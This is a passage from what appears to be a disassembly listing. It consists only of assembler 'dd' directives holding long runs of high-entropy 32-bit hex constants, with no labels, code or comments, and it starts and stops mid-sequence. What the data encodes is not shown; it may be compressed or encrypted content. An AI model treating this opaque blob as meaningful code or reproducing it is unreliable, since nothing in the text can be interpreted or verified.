9D8CDA7Fh, 0B0651076h, 0C8317591h dd 9C10599h, 13CFE9F9h, 0BFAF2D7h, 259343FFh, 0C5575608h dd 2378693Eh, 9F567729h, 0F22D5F97h, 0E2ABBC41h, 0A3C1EF15h dd 0C81136D9h, 0E00AAD87h, 376AE8BDh, 94226411h, 0F35BE01h dd 4E62F781h, 0EC5E9067h, 6153A2DFh, 476FB45h, 1EC4680Ah dd 0C2298B99h, 0C372B1FCh, 386389B0h, 40B50E83h, 2CD2E530h dd 7A684E48h, 0C2A80F4Bh, 1C91E2E7h, 9D14BC7Fh, 5AEED6C8h dd 6EC98DC4h, 0E7D9FB12h, 0BCE9D450h, 8099BE90h, 399CFAF0h dd 3C028E2Dh, 0D829147Bh, 5B078705h, 304C2260h, 2D1ACA1Eh dd 1D7E2507h, 0EA70E658h, 11FE9539h, 0BD0B0678h, 7BE18AAEh dd 7BFDEECFh, 6259BCF0h, 33EBF710h, 8BF19876h, 5EB857E6h dd 9820D93h, 2AF48FF2h, 74AD85B1h, 0D8750872h, 4E7AF789h dd 0EB8800F0h, 85B905B0h, 721FC81Fh, 0A8F0E1C1h, 513070D3h dd 0CEF00979h, 63243054h, 3517511Eh, 21380375h, 61BB5A1Eh dd 49BCF3E2h, 0B564E4B8h, 783295Ch, 16C63169h, 6BE2403Bh dd 9798241Ah, 0E91D3E96h, 0B4A06D35h, 124C0B93h, 76957690h dd 39D3A446h, 5936749Eh, 0E705122Dh, 82C4F4F8h, 0D5172C5Fh dd 0B73E99AEh, 3B932610h, 7F0C8661h, 13DA0698h, 768311E9h dd 0EC880F0Ch, 0BF5BB06h, 18604524h, 0B3933DD0h, 548A7D09h dd 0CEF1A7E9h, 0A062FD6Bh, 241FFBD5h, 8BF52F01h, 0BD7D94B4h dd 0E9052D7Bh, 5BA622CEh, 30275D7Ah, 0AF5A6616h, 0EB80D703h dd 95062D1Ah, 0F208C45Eh, 0BFD82D39h, 3D2DC631h, 2224214h dd 820F5694h, 1C361578h, 5E35280Ch, 0BA7A85EDh, 0E917E4CFh dd 0FE4DC523h, 420CBF98h, 49B802AEh, 0D722EA21h, 91553B0Bh dd 0D97A5FDCh, 14E63A12h, 0CD98E909h, 920FF359h, 55497Dh dd 67784A0Ch, 7C29275Bh, 95D04CD5h, 0F7905970h, 760862B1h dd 13591C4Ah, 0CC86D1F3h, 0CC892A34h, 60DD8920h, 0DC35F825h dd 54785066h, 0C63A7100h, 605F0D2Eh, 2D730136h, 7FF67A5Eh dd 6FB77B01h, 0F9F0661Ah, 68649900h, 0F9A112FEh, 290D8160h dd 4BA8E9F7h, 2858E151h, 0E5C39171h, 505131EEh, 0FB310188h dd 1235C1FDh, 0FA228B01h, 0D96ED7Ch, 3CEEF2F3h, 4765E14Ch dd 28522C24h, 2B3DCBAh, 0FFBB80Bh, 24DC7F1Ah, 1F40D01h dd 0FC7E7663h, 0C8A91651h, 0AB359820h, 0BECE4BB7h, 9E0EE188h dd 0CD5A2FA3h, 20BF1AF2h, 5E34C2CEh, 25076A4h, 57122ACAh dd 2957E90Bh, 0E91B8E64h, 0AC895CB4h, 42ED1CD0h, 5A069C5Ch dd 2992B1F1h, 0D22734A2h, 8D912C46h, 0E3052116h, 22BE3035h dd 47E75194h, 2164B509h, 0CD7B86F2h, 0BBFBB507h, 0A4188539h dd 0E9E80C21h, 5C34E464h, 0F9A9664Ah, 250F5C9Eh, 967096D7h dd 41F2175Ah, 260ABE99h, 0FD2930CBh, 0C2E54758h, 5DBA3788h dd 4C88C947h, 40501CC5h, 3D2C62B0h, 2DFAC388h, 0E5F8374Bh dd 0D3CACEC3h, 5C9DD39Fh, 41113451h, 2A422796h, 16EF01C5h dd 3798FFF6h, 95C2BAEEh, 2D80BB88h, 8A49BCF7h, 867155D2h dd 208275A7h, 54F6A875h, 0EA684663h, 37B54106h, 89F9F7EFh dd 97DBE58Ch, 97750842h, 646BB80h, 483140F8h, 0A2D24D3h dd 0ACEDA5A8h, 0AABC2A8Bh, 445AFD52h, 43BC09FCh, 0D9C68485h dd 0AF76FB23h, 0DECBAD64h, 45116803h, 454A3878h, 86060116h dd 0B6D5F3DEh, 0F71C09F8h, 325BE00h, 1200617Dh, 1E1BFA0Dh dd 0AE0C101h, 1CA2E905h, 78ED87B7h, 0B2650723h, 467DC6E6h dd 9AA97980h, 4A3C795Ah, 0BB34AA54h, 991F48FBh, 0C9FCCF93h dd 601FBE4Eh, 346EC92h, 7D76EEC1h, 9BDC9F40h, 7A5D5371h dd 5CEB5820h, 24C524Ch, 1D28FD07h, 20FDFB1Ch, 190B86EBh dd 4DD2BF0Fh, 495E0882h, 411E2D88h, 415F77A1h, 223E4F5h dd 8BC05D80h, 10CEC415h, 5BB9EFEh, 58E128E7h, 695FC7BFh dd 290A6154h, 0BD1387EAh, 0EBFF57FBh, 0E9122D8Bh, 434EE063h dd 205292ECh, 0C4517F5h, 26BB8AEFh, 5F9E96EBh, 0F3BE15D3h dd 90E41212h, 4046E7EFh, 5E4C748Dh, 2CE4C23h, 3CED71B9h dd 10D0FD29h, 3A081C01h, 0E7B6E91Dh, 680B7A23h, 0AB060E1h dd 5F252983h, 90E4D579h, 0A90B6898h, 0DF2FC10Ch, 0E65C2398h dd 0F86D6E27h, 17DCB500h, 0DC35F142h, 6CFFC9DEh, 0CE5B4EB3h dd 599D1043h, 0FCCB057Fh, 46C8414h, 13A69197h, 2B6F2CEFh dd 0A788324Ch, 82F8ADB4h, 8DD1EE4Ah, 55DD3D96h, 824CDC20h dd 1211C077h, 0EEC85931h, 0EE142497h, 5F25A1A9h, 68EBBC59h dd 28B892h, 0F7607657h, 0EE5E05D0h, 0D8C81027h, 0A7F1B7C8h dd 0F16FE905h, 545AF309h, 0A390B82h, 5E83C22h, 0CF422374h dd 9429C62Ah, 9A8B2013h, 20CB98BCh, 8013B917h, 0F4AF19F3h dd 0F094B08h, 0A3CA5481h, 4A0EE527h, 0C49F940Bh, 0B99517B4h dd 950BA472h, 29A6C09Dh, 0AE2D4EC8h, 1CB82F15h, 0EFFC1D47h dd 0CB560F0Ch, 7E27D21h, 20C080Dh, 0E5555814h, 0B3FB8834h dd 0A2ACFF2Dh, 0E54D5D78h, 13C538ADh, 2F094BBAh, 55074A1Eh dd 5501C356h, 0B8228BBDh, 8573FA96h, 0B529EA4Fh, 0DB7A2C7Ah dd 2C583340h, 0C0875368h, 650A23BEh, 0DFEC085Eh, 3CFD6873h dd 8DE9090Bh, 0DE9428D8h, 7B2F2FBEh, 1E870991h, 6F17DE30h dd 0DE3E6FDAh, 52462D10h, 0DBC3D880h, 893DE597h, 537D8E59h dd 0EDD21629h, 0E3DC1A0Ch dd 7E90DD4Fh, 0B225850Fh, 4EB6D76Fh, 0C1B7BEBh, 1D9DA08h dd 0C260F068h, 6C23F9FFh, 0C82FE936h, 275746D4h, 871C016Ch dd 4745A3B0h, 0FD56EB02h, 0BE15BA73h, 285B7FA4h, 5C05AADh dd 2D77484Dh, 5BD8012Eh, 1040BE59h, 0BF5EF029h, 0BB4127F8h dd 362BF92Bh, 5F25AFD0h, 8E4BEF05h, 9FE6D8DBh, 5B69E271h dd 0E7570A28h, 0FBB816B2h, 8C580A33h, 0F7C05DECh, 0AC32E9F1h dd 57B7E9BFh, 0AB5B122Bh, 2927A9E7h, 685E54E0h, 593CBC2Dh dd 0E9D58231h, 515626CCh, 0DDD217C2h, 61C2DF93h, 0B40E1AFEh dd 3E30B5Eh, 87F3C352h, 0C3C85135h, 759DB831h, 0FE4EC438h dd 902981C0h, 0A20C01A8h, 4FE28AE0h, 0C41EECA5h, 0AA25512Bh dd 90D8D7A7h, 4A9A5E59h, 0D42E7B24h, 6A2FC041h, 0BB1AE06Ah dd 1DFA2B16h, 0CAF183AEh, 0D90B2241h, 591742EAh, 2549BA7Dh dd 16EEB281h, 6C9AAB0Dh, 0EB034E48h, 10362941h, 48148DE0h dd 0B207E9Ah, 0ECD69F07h, 59A6B461h, 5171BA3Bh, 46C6EE9h dd 5117543Bh, 78C16153h, 708A260Fh, 0CE615941h, 0D310F939h dd 0E6881C0Ah, 5807F19Fh, 6D2CF20h, 837ED613h, 0BA4EAB4Ch dd 0C21C82D9h, 55D35Dh, 6819B8F6h, 77258939h, 43ECF120h dd 0FE05FF7h, 0A54FCD8Eh, 0A1A133EDh, 68108B17h, 3A647DD1h dd 0CCB55103h, 985FED80h, 160FBEE5h, 570BEC86h, 1492EF2Eh dd 0C8E47F5Ah, 9A4F2505h, 63EE310Dh, 0E89CE937h, 0DA2D25ACh dd 0E27E9FDAh, 6E3FBDA0h, 0AA8226B0h, 8437742Fh, 0D20211E9h dd 3EE4BA06h, 33FAD3E8h, 0DD98A2BAh, 76080B97h, 0A500526Eh dd 74DC6854h, 27960CC2h, 0A292F7DBh, 5CE90801h, 78AA2B7Fh dd 0D725E9BBh, 1F36C522h, 29149C3h, 64EF09F6h, 8CEE6A99h dd 0F82F6803h, 2DE3EC0Ah, 164283E9h, 0C2CD79DFh, 0B45035E9h dd 0CE9DD3A1h, 0BCB06A0Fh, 0C58BAC9Dh, 9F12D6A2h, 0BD0F44E1h dd 7784836Ch, 61231189h, 59B46AD7h, 0A4904BE5h, 0DDE6922h dd 0CBE720CBh, 5AADAFBh, 767AA5Bh, 56B313D2h, 0B6C3C2B1h dd 81E95F06h, 64342BCEh, 30B80D50h, 3824279h, 2B49295h dd 5E7C880Fh, 0A2752F43h, 48C98A84h, 4F78Fh, 7087BA01h dd 7EE97642h, 1C9091B2h, 0CCD8620Eh, 0E14F3001h, 0A6CDCD06h dd 1682CCE2h, 5E34A479h, 402F8901h, 6812094Eh, 29FF4465h dd 0EEDF11FAh, 200905D0h, 81757138h, 86506688h, 0F601DC5Ch dd 2E4F4890h, 956431AFh, 0D43D3E39h, 581E938Bh, 4060B25Ch dd 88073B4Ch, 510ECF81h, 0DE6F3808h, 6E189440h, 2AE95337h dd 2D9C0D98h, 41C305E0h, 483290A0h, 0FB2D2402h, 70B1331Eh dd 9702B52Ch, 7629A33Eh, 539416F0h, 63E2EA43h, 71436882h dd 0A8894379h, 2F96F51Dh, 102D7C92h, 0E2E7715Ah, 0CA4C535Dh dd 147D4B7h, 18A52A89h, 71EA05Bh, 27265A9Dh, 3355C994h dd 3554D93Fh, 0BFF0522Bh, 3A4892A1h, 2F3141F7h, 3A2B9181h dd 6A826057h, 0F12EC67h, 1AE036BAh, 0D8720CA5h, 1841CFCAh dd 5C7D8341h, 1D280D00h, 357B6503h, 85804095h, 0C580F694h dd 49A12BBEh, 0E9164603h, 52C5C70Ch, 5269DF19h, 1E0B7F78h dd 0BFFE4601h, 0D97EB8E2h, 0E655F425h, 9EE7D11Dh, 0D14C5768h dd 60ED4FE8h, 5B660ADEh, 1E48B151h, 0F74A100Bh, 56CABE05h dd 5CEE876h, 0A489A937h, 3BBDE5FFh, 4D12E28Bh, 23F3EE46h dd 0D3DCF84Ah, 0D30B2DBCh, 0A8829602h, 0ED5D3ECFh, 1759ADF4h dd 0E0D41064h, 8BD693AAh, 93AAC555h, 0AF2DA8C0h, 1F03BBF0h dd 43F63Dh, 36679DE3h, 83120F27h, 0ECB2E054h, 0AC734325h dd 80005693h, 2B50F99Dh, 0D5C926E9h, 0AD899792h, 21DE98E2h dd 4049016Ah, 65410805h, 4A2B6C67h, 3607ABACh, 0F06B064Fh dd 7C8B0C2Ah, 3BCC8951h, 97FB8DC4h, 24E56E5Eh, 9F56C7D7h dd 1A22E9C2h, 0E55A9599h, 0BAD36ABEh, 0B266B9E0h, 8620C83Eh dd 0B4F59F2Dh, 24CDE461h, 311A0ABDh, 0A706EDDEh, 29EE030Dh dd 0F842E9C6h, 0CBB9AD40h, 546E2C19h, 0CCE01F0Ah, 0A30C12E3h dd 3C4A5816h, 2D54DE13h, 1B7D105Ch, 298C0F05h, 0D7B3EF15h dd 6357B88Bh, 0E9C2D416h, 0B69CF06Dh, 48600913h, 2ECFEE44h dd 3689A7B2h, 251061E3h, 4CE8091Ch, 84E0E01Ah, 3F5D1BFCh dd 4E833944h, 0E9C2DCA2h, 208E36A5h, 0EFE1FCE4h, 0ADA4BD44h dd 595D5709h, 0B67C52B3h, 87C15464h, 0E87AA63Ah, 94AC9978h dd 80D90307h, 7C4244C2h, 54305F56h, 169931B0h, 8D8293Ah dd 784AEFEDh, 9409F98Bh, 0D1F730DCh, 762B3EA2h, 81E90C1Fh dd 98832ACh, 45953A51h, 558A8070h, 0FD89426Bh, 8B0C540Bh dd 6857A313h, 13091624h, 0BA016B53h, 0C06048Dh, 0BD1C8428h dd 77D22A96h, 0EEE4C20Dh, 437CAF3Ah, 0C7AA6256h, 0B27E4E9Bh dd 9753DA60h, 0E7D12C36h, 73EF406Ch, 29E62B3Ah, 2C8BFE5Ah dd 0A91E9E12h, 682D76Bh, 32E25725h, 7EBB3BC1h, 0F23EA72Dh dd 0A28E4E29h, 0F051994Ah, 0C19E8758h, 804EE392h, 12404E82h dd 0B24B6EAh, 640A16E9h, 3AD36B81h, 925F04DDh, 0F825C214h dd 4D4083CAh, 57CF7475h, 8031E885h, 446A95EEh, 0F505898Ch dd 52E6805Eh, 0E4178E03h, 72C88747h, 17C0D2D5h, 0FB7A0EE9h dd 1AB28977h, 960CD661h, 5B8EAC34h, 80E864BFh, 0DB6CA0A5h dd 48AB3850h, 657C4A78h, 614BCA00h, 0D3E92623h, 1E6AC3Ch dd 3F7F625Ch, 705F5B57h, 0D3C63C3h, 41EE4AE7h, 2228F1AAh dd 8C12204Ah, 4CE63D12h, 0AF8A04EFh, 555D0914h, 0A4030591h dd 0DA16E00Dh, 6FFCBBAh, 0AE76D6BFh, 6EF0D2Ch, 0CF28C783h dd 74E282C2h, 0B189975Ch, 34D3572Bh, 0F102D889h, 0FB313C78h dd 709A68D7h, 99463E6h, 7E9C160h, 1E32E681h, 3BB2F864h dd 2DEE00CAh, 5E5041C6h, 0FE8A0F3Ah, 0BFE65F82h, 0FEDDC820h dd 0F5DB0ECh, 495D726Dh, 0BF9635AFh, 0DAFC773Dh, 9FFE7FFAh dd 8739E471h, 681BDC02h, 30BB30C4h, 0EF4BCDAFh, 0BEDC2D50h dd 78452713h, 68485480h, 0AD284F58h, 290F81ABh, 1061093Eh dd 137892Bh, 2AA7C298h, 1039DF31h, 32D62D00h, 24671435h dd 0BEB04E4h, 5EAF2219h, 0C79B33FDh, 60B90148h, 0E8180B3Bh dd 14C77C6Ah, 0E520D104h, 6A48B252h, 98AA628h, 0B7B19523h dd 75843BD2h, 0ECB9E230h, 0FBD15CB3h, 7280BD27h, 0F1FA1B8h dd 0C8FA274Ah, 749B7495h, 5E4B1120h, 0FC1362AFh, 5B52DE6Ah dd 0C791B15Ah, 312BDA46h, 0AF2906BDh, 0C2C75F5h, 9F39630Ch dd 6F95AA1h, 50DAEA01h, 6F012607h, 8045484h, 8BBF1C8Bh dd 28A94BDEh, 0D181CD2Dh, 28509568h, 29BCC04Ch, 20E9220Fh dd 739F2FE3h, 8AE9C29Dh, 88ED36Ah, 6C5918A2h, 54D86043h dd 9FEA776Fh, 24683340h, 0C00F0562h, 0FC4ED079h, 20EA2920h dd 0D0BD4C27h, 0FA56D776h, 8A3E768Dh, 0F0E93B86h, 7CE8CDC6h dd 4F872E95h, 0E03580B5h, 2911A27Bh, 5B45C75Ah, 31ABB453h dd 89665661h, 7944713Bh, 0EFF38B58h, 82F1B921h, 0D82FFD40h dd 739860C9h, 0F7220498h, 0AFC14B52h, 0CF874681h, 50EFCB70h dd 7208DD05h, 0EE50C5B5h, 0A57CB874h, 0EB7275FBh, 2AE92328h dd 274D858Dh, 7565F788h, 5E7C000h, 3A51C7FEh, 0C5962FB5h dd 0F107AF66h, 1BC780E5h, 88D2F730h, 205B2FFAh, 50025C7Ah dd 0A7E982B0h, 504479CEh, 0FE48F5F6h, 0E8139EA0h, 0FF05F44Bh dd 0D85BD5E1h, 3E133847h, 0FB0171h, 73215F80h, 0F538E90Dh dd 3CBA5F0Fh, 0EAB05362h, 0C975741h, 1F05244Ch, 31F727ACh dd 0BBEB5F87h, 0FD0A4814h dd 941AC700h, 0D78CE97Fh, 18C147B2h, 76403C16h, 0CEDA820h dd 226C4BB1h, 0F031620Ch, 1D276CD3h, 7E088E3Ah, 0DAB00A27h dd 0A901004Ch, 0A6782D15h, 899D9807h, 0E4B8024h, 0BC3F2712h dd 0D5053ED4h, 0A8437DE9h, 6B1C17Bh, 0E4DEC180h, 0D33DF9F0h dd 0BB6DEF5Bh, 6879886Bh, 157B7431h, 75EAB789h, 50786A5Ch dd 9B932FE9h, 0C02978CAh, 2F2EF97Dh, 66E1835Ch, 68CCF9F7h dd 0AE105FD0h, 0D7EC5560h, 0A56E9DFEh, 8009B505h, 20BCB6C5h dd 490D5017h, 0E876DF00h, 0F4F023Ah, 5C62AD81h, 0AF8642E3h dd 69AADAAh, 90E18008h, 69B8E933h, 0AA05B756h, 0AC7A7ECDh dd 0E7D0C637h, 98C30491h, 84293805h, 0FAB6D4CEh, 39AD8FD1h dd 2F159D2Bh, 9F7767FDh, 2F3E8E65h, 5B7A07A9h, 7DF55862h dd 2944A0F1h, 1B6DC8AAh, 23F37BE1h, 0BE38AB85h, 0D484EFF3h dd 5A3EE701h, 0B7BFB4D4h, 0CD8115E9h, 7FC99A25h, 0B95158D1h dd 2506EB26h, 4C386828h, 4959D109h, 0FDCFD837h, 0EDE90840h dd 3813BD3Fh, 0C67E1C0Eh, 9D8497F9h, 35E9C9E4h, 0FF9CF854h dd 86909DB6h, 0FF80F427h, 333D2BA2h, 8F100C90h, 0FC5A733Bh dd 0D7898734h, 0DCCC73h, 50BF5418h, 3124E166h, 0D0B51290h dd 38CD0C7Ch, 0ED0C6EA7h, 1E4FF5B0h, 0E9D860AFh, 12954A37h dd 468BC1C6h, 8E0F4200h, 94E5A137h, 4A781ECFh, 0BB5FDCFEh dd 0D506D103h, 0F2E94349h, 0B8D35FE1h, 2C145727h, 75C41AB7h dd 68734C76h, 2E20725h, 2C4D215Dh, 0BD2970C2h, 5F6FF2F5h dd 0B02EAC55h, 4F5D097Fh, 7E60EB4Ah, 5A70E6F8h, 0E9EFA03Dh dd 52DBB027h, 549EC05Fh, 295D0839h, 1BA9295h, 0ECD9E90Ah dd 11D52EA5h, 4E2C4449h, 0D68A0F1Fh, 0A014A8D2h, 1B36AB7h dd 7AE7819Dh, 3048F823h, 0A7B1E841h, 6A74C501h, 0B86F6CCDh dd 3F084142h, 0BFA1B826h, 782D5AD4h, 1A7A0022h, 5BB537Fh dd 0C1B0BD52h, 4B366E20h, 0B9BC30ADh, 0D002086Bh, 18E95575h dd 8CEA5462h, 810D1646h, 4302AD92h, 575E1DBAh, 570789BFh dd 6F6DB061h, 47AC84C4h, 72BF2B7h, 0A52FEDFDh, 0B0F26E7Dh dd 0D380B7F0h, 1E6D87B9h, 50893327h, 6F8B97A0h, 0BD0863FEh dd 0FE22029h, 15054CDCh, 73E45A40h, 7834E918h, 81BB2049h dd 0F857F8F5h, 0F50F8117h, 0EB6B5615h, 7BB6D829h, 0EAEDE4C3h dd 335E4B31h, 0BAB568C4h, 19E56091h, 8E38EC2Ah, 33A99681h dd 4EF2A885h, 4163EFDFh, 0EC050C75h, 47F71E96h, 6BEDD101h dd 98710373h, 4E7CAEE8h, 0E205FBE1h, 95C85B91h, 0C2141FF6h dd 3FD19E2Ch, 64D50851h, 0B2D8F27Eh, 27CE465Ch, 516148E9h dd 8AE93028h, 335BC9B5h, 2AF78D7Bh, 27C628EBh, 5A8C8795h dd 7FD05569h, 0C725F89Ch, 0F95D1743h, 59CD8084h, 0B77D0268h dd 0E92D6796h, 7DBAC2EAh, 84C9C55Bh, 0EFED6775h, 0B8EAC1C4h dd 9E69299Ch, 97225F27h, 89DF4AE9h, 0D1835E0Bh, 0CD493166h dd 0EEE1605Bh, 0A298E92Dh, 5C83B1E3h, 53F896FFh, 0AE05134Eh dd 2E095335h, 2E098A7Ch, 2912ED01h, 0C814FAEh, 0C7A5FB68h dd 0D2A42455h, 28A90617h, 70366A1h, 0B12C405Dh, 0F7134993h dd 0B708C528h, 6168A0A2h, 0E402257h, 0EBF37716h, 58566805h dd 2D6DDFBh, 7D0B4BFDh, 2010E710h, 0C20B49CBh, 5595F79Fh dd 0CA0FDCACh, 897C8245h, 969BD1F7h, 138AB631h, 8DCAF821h dd 0E25EEE4Fh, 572515DCh, 0E984BE65h, 0A2EB2922h, 2AB8DF4Bh dd 4190C353h, 18231A3Dh, 0F6B73E70h, 65F51252h, 0E32D870Dh dd 305BEF9Ch, 281621BCh, 1EAA40DBh, 2D58D250h, 0E760F70Ch dd 0A3057C2Ah, 0E9BF0A07h, 0EB460FCDh, 3F6160DDh, 1BDD9785h dd 0F3BBDAh, 9763EE31h, 0F189CBBDh, 0E2A58CC4h, 4504AB17h dd 0A6F2D5F7h, 0B77307C1h, 0D0B42A64h, 0FB0300C5h, 3E05A10Fh dd 330A325Dh, 72DE801h, 0E123E90Bh, 94C6532Ch, 4117FEE6h dd 433E2044h, 277C2F26h, 0F0C96112h, 470AEE00h, 73735C8Fh dd 70B8F805h, 0D1F4148Ch, 88FFF113h, 6B9756BFh, 4F656DCh dd 324E680Ah, 9E6CC1EDh, 0EAD5C235h, 74F2FDF7h, 0DA73DCBDh dd 40A40074h, 5D1E2D1Ah, 0FF6FAE72h, 9D18D603h, 7F2D590Ah dd 274B2DE4h, 6B5307C1h, 6B89DCA9h, 0DBA86559h, 0BB702C0Fh dd 31A7C41Ch, 892F2EA7h, 67095FDAh, 894FD412h, 4285766Ch dd 80093ECEh, 0E77D3589h, 0E7B00Eh, 28872078h, 55868B0Fh dd 1235ABC6h, 7A526056h, 2A0B2687h, 18FBBA05h, 0D3B0137Ah dd 60D74151h, 9D622E2Ch, 0A084D23Dh, 2959C8C0h, 5BEFFEC1h dd 0F62DBFBAh, 0A6021E93h, 695712D8h, 0B3AA65AEh, 0C6E90CC1h dd 0AB820F6h, 63ED1D0Ch, 0EBA6BFA3h, 0CA0B20C6h, 0A5F1E098h dd 59F4E500h, 120460Eh, 93FA50F2h, 8F1A125Bh, 9CBA042Fh dd 2A56CA8Bh, 32CCA33h, 8548E1EDh, 60F7409h, 0C1765E8h dd 8836B151h, 0E026D0F8h, 9A339834h, 0E9A79980h, 0A17C70FAh dd 0D02EFAB8h, 661BEF0Ch, 1621309h, 83208F7h, 8F597E25h dd 0B07521E9h, 44D1171Ah, 6342BD42h, 8530975Fh, 0BEE5ACE9h dd 0E1695A89h, 5BD88B9Eh, 0CA4A8F75h, 0E9C180FDh, 0C94C9FB0h dd 50DA3201h, 0CBAB38FAh, 8D1B080Bh, 7A0A3CE9h, 3F082447h dd 898B110Eh, 0B1841043h, 31DA6BF3h, 0DE4085Fh, 46927725h dd 11643FC1h, 856090EBh, 9DA4F6D4h, 5455D0C2h, 5126F0CDh dd 7792797h, 2D2B3783h, 1A7DDF65h, 0EAFC5721h, 0A2323159h dd 56D04F13h, 60DABA30h, 0E682C55Eh, 0F7F04A75h, 0FFD72133h dd 9B158A80h, 1CE58161h, 687425ADh, 4F080B9Eh, 0BF007D48h dd 0E1F19B8Bh, 0DDBFC895h, 0E8213B5Bh, 8A8D444Eh, 778D1C1Ah dd 0C609728h, 0D4424130h, 36B2A1EEh, 7281535Ah, 0E2073C26h dd 0D3554BAFh, 704CBE13h, 9D5DB35Fh, 6FA2EA80h, 270F3DCDh dd 0A950E883h, 5A18DCBDh, 4AB5165Dh, 0CD9D8151h, 35F62F9Dh dd 0E94B104Ch, 87E90B6Ch, 98AC94B5h, 0BADE5B2Ah, 0AB3B567h dd 2D1776B8h, 905F59D9h, 4BF85029h, 17F752FEh, 4A22F8ABh dd 0BBAC33BAh, 599F4D70h, 0F9789546h, 53768725h, 0AD9AF70Eh dd 9D147293h, 6268F501h, 5DED5469h, 0A7FA1F6Fh, 19012254h dd 0DA29B01Eh, 9E10B427h, 0C7300086h, 0B0505866h, 90FAFA67h dd 855B4AA5h, 0A5D9BF0Ah, 0E920C1F1h, 0BC029F5Ah, 0FDD4628Eh dd 0FD1AC624h, 9E54570Ah, 31315825h, 0D56EE7C0h, 3E413258h dd 4DDF9E9Eh, 3CB140D2h, 9CE34E43h, 6EC78DEBh, 68D0AAE1h dd 0A874B772h, 0CE49DAA0h, 0E7E226E4h, 8D90F209h, 0FC38E46Fh dd 90E16E17h, 0E548872Bh, 0B6211A30h, 0F01762Dh, 6805201Fh dd 847FF147h, 0B22CBBC1h, 8FE91252h, 416CBE05h, 94DAB55Ch dd 0E87851BFh, 0D3750CC9h, 0F8012D90h, 11B473Fh, 74205D8h dd 97B6D05Bh, 3069567Bh, 4A4BBF13h, 10BAB862h, 68171B34h dd 99FC58Ah, 0E5D42137h, 0F30E919Ch, 0A6D90F5Ah, 271A1116h dd 7F8295Fh, 3C2B7697h, 4E204CCCh, 2C4AB802h, 0D7316DD6h dd 7B587049h, 58F391D2h, 9552B0E5h, 68185636h, 829362C3h dd 80EA99F6h, 0CD027605h, 9F0E2D52h, 744E3429h, 6074189h dd 0F49D23D4h, 74E9D866h, 2D01FEB4h, 0E67B9BB1h, 3F2AE9h dd 6FF0BE0Bh, 817C0C56h, 8547F40Bh, 1EE07572h, 113F0493h dd 4EF6003Fh, 0E91071CAh, 5FEA4052h, 44BEF197h, 28AD9147h dd 2A6E21CFh, 8EFD0BBEh, 2035524Eh, 0B6A088E7h, 0BF602BFh dd 0D268622Bh, 71E71F5h, 945A01BAh, 3826C012h, 3D5BD44Ch dd 0B91080A9h, 0C8FE1639h dd 5E90E809h, 407975Eh, 0ACF1E6A2h, 3634A11Ah, 242A680Ch dd 0E92E3978h, 93BAB839h, 63A3CD28h, 881FB306h, 0A5277CDCh dd 0CB801BD1h, 152F5011h, 0BF24B2BFh, 0BF5457F6h, 18B002E5h dd 2425F068h, 8FF0677h, 0BA26F4B4h, 4E79662h, 1038EB5Ch dd 0FA802CE9h, 6BBA6B67h, 0E65C4842h, 0AC499CB3h, 0EB1CB8E8h dd 14FF2529h, 405A98FBh, 86120F6Ah, 6CFEB4BCh, 9A7F5E44h dd 0EA315D9Fh, 0AC452EFEh, 9909CC78h, 9004648Ah, 206D17B3h dd 0EED507C6h, 45C53071h, 0A59AD7E9h, 2EE83024h, 39406807h dd 7A4E7749h, 0D265E909h, 5A7AFEFEh, 2EFBA48h, 2631CDB0h dd 0F3D63339h, 0F921322Bh, 0A377744Ah, 0EAAAEBCAh, 0BF8155C7h dd 29C679E9h, 6856C1FCh, 3B3828BFh, 0E5F55589h, 9252432h dd 0F1DFFEE5h, 91F3976Fh, 0E006EAD3h, 59B50720h, 0A85CC5A1h dd 90DDB1F6h, 5AD4CB7Ah, 0CBC16E90h, 0B1569FFEh, 257B6472h dd 9AAC3A05h, 685B5718h, 8E614BEFh, 85573AABh, 16FEA1B7h dd 0B3F9CCC3h, 87A89D4Bh, 28232C0Eh, 66277ABFh, 5399E489h dd 5CBF28EBh, 33EFA78Fh, 7959BDC2h, 1FDE49E7h, 72196861h dd 0A83BB74Dh, 77E3C975h, 47C09A1Bh, 1260A274h, 0F2E955F1h dd 0E2B0B730h, 1AA4722Ch, 4E47644Dh, 0E9B0BFBCh, 0DB99F5A1h dd 21F18087h, 845A893Fh, 6680ED16h, 0AD3495h, 492CD8F6h dd 1CE9C330h, 0BF1C4197h, 0B479A93Bh, 0B0D3D0A8h, 0CF41F0ACh dd 3569FAA7h, 6AEC7E0Ch, 65DBE9B1h, 344C4745h, 3873D80Fh dd 5D2506BEh, 0FB3F8065h, 55FB0BB5h, 0F8FC0948h, 59CC13DFh dd 9EA3DACh, 48CF1EB6h, 8039D077h, 9D86E908h, 0E5C06101h dd 3068E07h, 9D6C980h, 0E83B02E9h, 41D0EA3Ch, 49112F1Bh dd 9A447E32h, 0F7BA6F03h, 0F18101FDh, 7EC40FF6h, 579806Ch dd 826B34C7h, 3C13EF25h, 80E549A8h, 674FB879h, 0CA060B7Ch dd 262F7ABCh, 4C9D090Ch, 67806FDAh, 6763E36Ch, 5C77E927h dd 305D2D07h, 0BAFC6B0Bh, 0EAEA5BECh, 628B2341h, 816B4AD8h dd 4BE1570h, 8561F8AFh, 1C8D6A8Ch, 918DC5E0h, 75C0AF22h dd 472F7FDAh, 7066742Ch, 21552FE9h, 87BC7EE6h, 0F7470804h dd 0BDCE8DFh, 343923h, 0B42418EAh, 930CC14Ch, 0F05AA035h dd 5603AEEEh, 72E9590Ah, 0E38057CFh, 0FD4F7Ch, 81E6D190h dd 34165ECEh, 0A60C4FFEh, 0B6B0E2A6h, 0CBE23A36h, 5B052FDAh dd 0CA24E3B6h, 1040275Ch, 0FDE4D788h, 3E5A5B3Bh, 0CACEBBEEh dd 4A4076DDh, 16F255CFh, 53ADE94Ah, 0D770F3E3h, 0F932AEBh dd 65FC3BEFh, 76A857C8h, 95609050h, 718934DEh, 0E31BFF30h dd 81ECA7C9h, 4ADCCD99h, 0E5D80AA5h, 0D0151F2Bh, 1F5016Bh dd 0D14BD976h, 31097AE9h, 0D5307E7h, 72E62B8Fh, 62F40968h dd 4AD54335h, 0E9B6222Ah, 9A54557Ch, 786AD4AFh, 0BA9C10E9h dd 5381B101h, 0ABD55152h, 9515F6F0h, 7A5E9B68h, 0C361337h dd 3FDA6040h, 72D030E9h, 0DA46822h, 0A818B230h, 724E11CDh dd 4B09B564h, 717D2A29h, 0EE895061h, 4EC512DCh, 2EA2A7Ch dd 35EFE961h, 2CF7C6FDh, 90A7C88Bh, 66071734h, 9BC762FBh dd 8D55A40Fh, 431F21EEh, 0EED383A5h, 803FA253h, 574BA2Dh dd 0F0010DECh, 21071605h, 7DD8FE64h, 0A0E02733h, 699CE739h dd 0B1576FDh, 